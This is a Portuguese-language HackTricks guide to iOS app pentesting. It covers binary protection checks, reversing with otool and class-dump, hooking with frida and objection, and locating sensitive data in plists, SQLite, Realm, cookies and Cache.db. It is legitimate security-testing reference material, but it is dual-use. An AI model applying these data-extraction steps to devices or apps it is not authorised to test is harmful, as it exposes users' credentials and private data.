mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-11 20:58:59 +00:00
1203 lines
70 KiB
Markdown
1203 lines
70 KiB
Markdown
# iOS Pentesting
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Fundamentos do iOS
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Ambiente de Teste
|
||
|
||
Nesta página, você pode encontrar informações sobre o **simulador do iOS**, **emuladores** e **jailbreaking**:
|
||
|
||
{% content-ref url="ios-testing-environment.md" %}
|
||
[ios-testing-environment.md](ios-testing-environment.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Análise Inicial
|
||
|
||
### Operações Básicas de Teste no iOS
|
||
|
||
Durante o teste, **serão sugeridas várias operações** (conectar ao dispositivo, ler/escrever/upload/download de arquivos, usar algumas ferramentas...). Portanto, se você não sabe como realizar alguma dessas ações, por favor, **comece lendo a página**:
|
||
|
||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="info" %}
|
||
Para os próximos passos, **o aplicativo deve estar instalado** no dispositivo e você deve ter obtido o arquivo **IPA** do aplicativo.\
|
||
Leia a página [Operações Básicas de Teste no iOS](basic-ios-testing-operations.md) para aprender como fazer isso.
|
||
{% endhint %}
|
||
|
||
### Análise Estática Básica
|
||
|
||
É recomendado usar a ferramenta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar uma Análise Estática automática do arquivo IPA.
|
||
|
||
Identificação de **proteções presentes no binário**:
|
||
|
||
* **PIE (Executable Independente de Posição)**: Quando ativado, o aplicativo é carregado em um endereço de memória aleatório toda vez que é iniciado, tornando mais difícil prever seu endereço de memória inicial.
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # Deve incluir a flag PIE
|
||
```
|
||
* **Canários de Pilha**: Para validar a integridade da pilha, um valor 'canário' é colocado na pilha antes de chamar uma função e é validado novamente uma vez que a função termina.
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # Deve incluir os símbolos: stack_chk_guard e stack_chk_fail
|
||
```
|
||
* **ARC (Contagem Automática de Referências)**: Para prevenir falhas comuns de corrupção de memória
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # Deve incluir o símbolo _objc_release
|
||
```
|
||
* **Binário Criptografado**: O binário deve ser criptografado
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # O cryptid deve ser 1
|
||
```
|
||
|
||
**Identificação de Funções Sensíveis/Inseguras**
|
||
|
||
* **Algoritmos de Hash Fracos**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# No linux
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
* **Funções Aleatórias Inseguras**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# No linux
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
* **Função ‘Malloc’ Insegura**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# No linux
|
||
grep -iER "_malloc"
|
||
```
|
||
* **Funções Inseguras e Vulneráveis**
|
||
|
||
```bash
|
||
# No dispositivo iOS
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# No linux
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Análise Dinâmica Básica
|
||
|
||
Confira a análise dinâmica que o [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele estará interceptando várias classes e fazendo outras coisas, e preparará um relatório quando você terminar.
|
||
|
||
### Listando Aplicativos Instalados
|
||
|
||
Ao mirar aplicativos que estão instalados no dispositivo, você primeiro terá que descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os aplicativos (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### Enumeração Básica & Hooking
|
||
|
||
Aprenda a **enumerar os componentes da aplicação** e como **enganchar métodos e classes** facilmente com objection:
|
||
|
||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Estrutura do IPA
|
||
|
||
Arquivos `.ipa` são **pacotes compactados**, então você pode mudar a extensão para `.zip` e **descompactá-los**. Uma aplicação **completa** **empacotada** pronta para ser instalada é comumente referida como **Bundle**.\
|
||
Após descompactá-los, você deve ver `<NAME>.app`, um arquivo compactado que contém o restante dos recursos.
|
||
|
||
* `Info.plist`: Um arquivo que contém algumas das configurações específicas da aplicação.
|
||
* `_CodeSignature/` contém um arquivo plist com uma assinatura sobre todos os arquivos no bundle.
|
||
* `Assets.car`: Outro arquivo compactado que contém ativos (ícones).
|
||
* `Frameworks/` contém as bibliotecas nativas da aplicação como arquivos .dylib ou .framework.
|
||
* `PlugIns/` pode conter extensões da aplicação como arquivos .appex (não presente no exemplo).
|
||
* [`Core Data`](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta iCloud, o Core Data espelha automaticamente seu esquema para um contêiner CloudKit.
|
||
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle.
|
||
* **en.lproj, fr.proj, Base.lproj**: São os pacotes de idiomas que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
|
||
|
||
Existem várias maneiras de definir a UI em uma aplicação iOS: arquivos _storyboard_, _nib_ ou _xib_.
|
||
|
||
**Info.plist**
|
||
|
||
A lista de propriedades de informação ou `Info.plist` é a principal fonte de informação para um aplicativo iOS. Consiste em um arquivo estruturado contendo pares **chave-valor** que descrevem informações essenciais de configuração sobre o aplicativo. Na verdade, espera-se que todos os executáveis empacotados (extensões de aplicativos, frameworks e aplicativos) tenham um arquivo `Info.plist`. Você pode encontrar todas as chaves possíveis na [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||
|
||
O arquivo pode ser formatado em **XML ou binário (bplist)**. Você pode **convertê-lo para o formato XML** com um comando simples:
|
||
|
||
* No macOS com `plutil`, que é uma ferramenta que vem nativamente com o macOS 10.2 e versões superiores (atualmente não há documentação oficial disponível online):
|
||
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
* No Linux:
|
||
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
|
||
Aqui está uma lista não exaustiva de algumas informações e as palavras-chave correspondentes que você pode facilmente procurar no arquivo `Info.plist` apenas inspecionando o arquivo ou usando `grep -i <keyword> Info.plist`:
|
||
|
||
* Strings de Propósito de Permissões de Aplicativo: `UsageDescription`
|
||
* Esquemas de URL personalizados: `CFBundleURLTypes`
|
||
* Tipos de documentos personalizados exportados/importados: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`
|
||
* Configuração de Segurança de Transporte de Aplicativo (ATS): `NSAppTransportSecurity`
|
||
|
||
Por favor, consulte os capítulos mencionados para aprender mais sobre como testar cada um desses pontos.
|
||
|
||
**Caminhos de Dados**
|
||
|
||
No iOS, **aplicações do sistema podem ser encontradas no diretório `/Applications`** enquanto aplicativos **instalados pelo usuário** estão disponíveis em **`/private/var/containers/`**. No entanto, encontrar a pasta certa apenas navegando pelo sistema de arquivos não é uma tarefa trivial, pois **cada aplicativo recebe um UUID (Identificador Único Universal) de 128 bits aleatório** atribuído para os nomes de seus diretórios.
|
||
|
||
Para obter facilmente as informações do diretório de instalação para aplicativos instalados pelo usuário, você pode usar o comando **`env` do objection** que também mostrará todas as informações do diretório do aplicativo:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
Você também pode procurar pelo nome do aplicativo dentro de **`/private/var/containers`**:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
Ou usando **`ps`** e **`lsof`**:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
Como você pode ver, os aplicativos têm duas localizações principais:
|
||
|
||
* O **diretório Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`).
|
||
* O **diretório de Dados** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`).
|
||
|
||
Essas pastas contêm informações que devem ser examinadas cuidadosamente durante avaliações de segurança de aplicativos (por exemplo, ao analisar os dados armazenados em busca de dados sensíveis).
|
||
|
||
**Diretório Bundle:**
|
||
|
||
* **AppName.app**
|
||
* Este é o Bundle do Aplicativo como visto anteriormente no IPA, contém dados essenciais do aplicativo, conteúdo estático, bem como o binário compilado do aplicativo.
|
||
* Este diretório é visível para os usuários, mas **usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é feito backup**.
|
||
* Os conteúdos desta pasta são usados para **validar a assinatura do código**.
|
||
|
||
**Diretório de Dados:**
|
||
|
||
* **Documents/**
|
||
* Contém todos os dados gerados pelo usuário. O usuário final do aplicativo inicia a criação desses dados.
|
||
* Visível para os usuários e **usuários podem escrever nele**.
|
||
* O conteúdo deste diretório **é feito backup**.
|
||
* O aplicativo pode desativar caminhos definindo `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/**
|
||
* Contém todos os **arquivos que não são específicos do usuário**, como **caches**, **preferências**, **cookies** e arquivos de configuração de lista de propriedades (plist).
|
||
* Aplicativos iOS geralmente usam os subdiretórios `Application Support` e `Caches`, mas o aplicativo pode criar subdiretórios personalizados.
|
||
* **Library/Caches/**
|
||
* Contém **arquivos de cache semi-persistentes**.
|
||
* Invisível para os usuários e **usuários não podem escrever nele**.
|
||
* O conteúdo deste diretório **não é feito backup**.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.
|
||
* **Library/Application Support/**
|
||
* Contém **arquivos persistentes** necessários para a execução do aplicativo.
|
||
* **Invisível** para **usuários** e usuários não podem escrever nele.
|
||
* O conteúdo deste diretório **é feito backup**.
|
||
* O aplicativo pode desativar caminhos definindo `NSURLIsExcludedFromBackupKey`.
|
||
* **Library/Preferences/**
|
||
* Usado para armazenar propriedades que podem **persistir mesmo após o reinício de um aplicativo**.
|
||
* As informações são salvas, não criptografadas, dentro do sandbox do aplicativo em um arquivo plist chamado \[BUNDLE\_ID].plist.
|
||
* Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
|
||
* **tmp/**
|
||
* Use este diretório para escrever **arquivos temporários** que não precisam persistir entre os lançamentos do aplicativo.
|
||
* Contém arquivos de cache não persistentes.
|
||
* **Invisível** para os usuários.
|
||
* O conteúdo deste diretório não é feito backup.
|
||
* O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.
|
||
|
||
Vamos dar uma olhada mais de perto no diretório Bundle do Aplicativo iGoat-Swift (.app) dentro do diretório Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### Reversão de Binário
|
||
|
||
Dentro da pasta `<application-name>.app`, você encontrará um arquivo binário chamado `<application-name>`. Este é o arquivo que será **executado**. Você pode realizar uma inspeção básica do binário com a ferramenta **`otool`**:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**Verifique se o aplicativo está criptografado**
|
||
|
||
Veja se há alguma saída para:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**Desmontando o binário**
|
||
|
||
Desmonte a seção de texto:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
Para imprimir o **segmento Objective-C** do aplicativo de exemplo, pode-se usar:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
Para obter um código Objective-C mais compacto, você pode usar [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
No entanto, as melhores opções para desmontar o binário são: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Armazenamento de Dados
|
||
|
||
Para aprender sobre como o iOS armazena dados no dispositivo, leia esta página:
|
||
|
||
{% content-ref url="ios-basics.md" %}
|
||
[ios-basics.md](ios-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% hint style="warning" %}
|
||
Os seguintes locais para armazenar informações devem ser verificados **imediatamente após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em outro diferente**.\
|
||
O objetivo é encontrar **informações sensíveis desprotegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários previamente logados.
|
||
{% endhint %}
|
||
|
||
### Plist
|
||
|
||
Arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma maneira de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após instalar o aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
|
||
|
||
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
|
||
|
||
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um arquivo **plist**, mas é destinada a ser usada com pequenas quantidades de dados.
|
||
|
||
Esses dados não podem mais ser acessados diretamente via um computador confiável, mas podem ser acessados realizando um **backup**.
|
||
|
||
Você pode **despejar** as informações salvas usando **`NSUserDefaults`** usando o comando `ios nsuserdefaults get` do objection.
|
||
|
||
Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/private/var/mobile/Containers/Data/Application/{APPID}` e executar:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
O arquivo pode estar formatado em **XML ou binário (bplist)**. Você pode **converti-lo para o formato XML** com um comando simples:
|
||
|
||
* No macOS com `plutil`, que é uma ferramenta que vem nativamente com o macOS 10.2 e versões superiores (nenhuma documentação oficial online está disponível no momento):
|
||
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
* No Linux:
|
||
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
* Em uma sessão de objection:
|
||
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) é um framework para gerenciar a camada de modelo de objetos em sua aplicação. [Core Data pode usar SQLite como seu armazenamento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mas o próprio framework não é um banco de dados.\
|
||
CoreData não criptografa seus dados por padrão. No entanto, uma camada adicional de criptografia pode ser adicionada ao CoreData. Veja o [Repositório GitHub](https://github.com/project-imas/encrypted-core-data) para mais detalhes.
|
||
|
||
Você pode encontrar as informações do Core Data SQLite de uma aplicação no caminho `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||
|
||
**Se você conseguir abrir o SQLite e acessar informações sensíveis, então você encontrou uma má configuração.**
|
||
|
||
{% code title="Código do iGoat" %}
|
||
```objectivec
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) é um armazenamento de chave/valor construído em cima do SQLite.\
|
||
Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-los usando o comando sugerido na seção anterior.
|
||
|
||
### Outros Bancos de Dados SQLite
|
||
|
||
É comum que aplicações criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os sem criptografia. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório de aplicações. Para isso, vá até o diretório da aplicação onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Bases de Dados Firebase em Tempo Real
|
||
|
||
Podem ser utilizadas por desenvolvedores de aplicativos para **armazenar e sincronizar dados com um banco de dados hospedado na nuvem NoSQL**. Os dados são armazenados como JSON e são sincronizados em tempo real com todos os clientes conectados e também permanecem disponíveis mesmo quando o aplicativo fica offline.
|
||
|
||
Você pode encontrar como verificar bases de dados Firebase mal configuradas aqui:
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bases de Dados Realm
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) não são fornecidos pela Apple, mas ainda assim são importantes de se notar. Eles **armazenam tudo sem criptografia, a menos que a configuração tenha a criptografia ativada**.
|
||
|
||
Você pode encontrar estas bases de dados em `/private/var/mobile/Containers/Data/Application/{APPID}`
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
Você pode usar a ferramenta [**Realm Studio**](https://github.com/realm/realm-studio) para abrir esses arquivos de banco de dados.
|
||
|
||
O exemplo a seguir demonstra como usar criptografia com um banco de dados Realm:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Bases de Dados Couchbase Lite
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) é um motor de base de dados leve, embutido e orientado a documentos (NoSQL) que pode ser sincronizado. Compila nativamente para iOS e macOS.
|
||
|
||
Verifique possíveis bases de dados couchbase em `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`
|
||
|
||
### Cookies
|
||
|
||
O iOS armazena os cookies dos aplicativos no **`Library/Cookies/cookies.binarycookies`** dentro de cada pasta de aplicativos. No entanto, desenvolvedores às vezes optam por salvá-los no **keychain**, pois o mencionado **arquivo de cookies pode ser acessado em backups**.
|
||
|
||
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o comando do objection **`ios cookies get`.**\
|
||
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Cache
|
||
|
||
Por padrão, NSURLSession armazena dados, como **requisições e respostas HTTP no banco de dados Cache.db**. Este banco de dados pode conter **dados sensíveis**, se tokens, nomes de usuário ou qualquer outra informação sensível foram armazenados em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (`/var/mobile/Containers/Data/Application/<UUID>`) e vá para `/Library/Caches/<Bundle Identifier>`. O **cache do WebKit também é armazenado no arquivo Cache.db**. **Objection** pode abrir e interagir com o banco de dados com o comando `sqlite connect Cache.db`, pois é um **banco de dados SQLite normal**.
|
||
|
||
É **recomendado desativar o armazenamento em cache desses dados**, pois eles podem conter informações sensíveis na requisição ou resposta. A lista a seguir mostra diferentes maneiras de conseguir isso:
|
||
|
||
1. É recomendado remover as respostas armazenadas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar este método da seguinte forma:
|
||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
Este método removerá todas as requisições e respostas armazenadas em cache do arquivo Cache.db.
|
||
2. Se você não precisa usar a vantagem dos cookies, seria recomendado usar apenas a propriedade de configuração [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que desativará o salvamento de cookies e caches.
|
||
|
||
[Documentação da Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||
|
||
`Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (veja default), exceto que o objeto de sessão correspondente não armazena caches, lojas de credenciais ou quaisquer dados relacionados à sessão em disco. Em vez disso, os dados relacionados à sessão são armazenados em RAM. A única vez que uma sessão efêmera grava dados em disco é quando você a instrui a escrever o conteúdo de uma URL em um arquivo.`
|
||
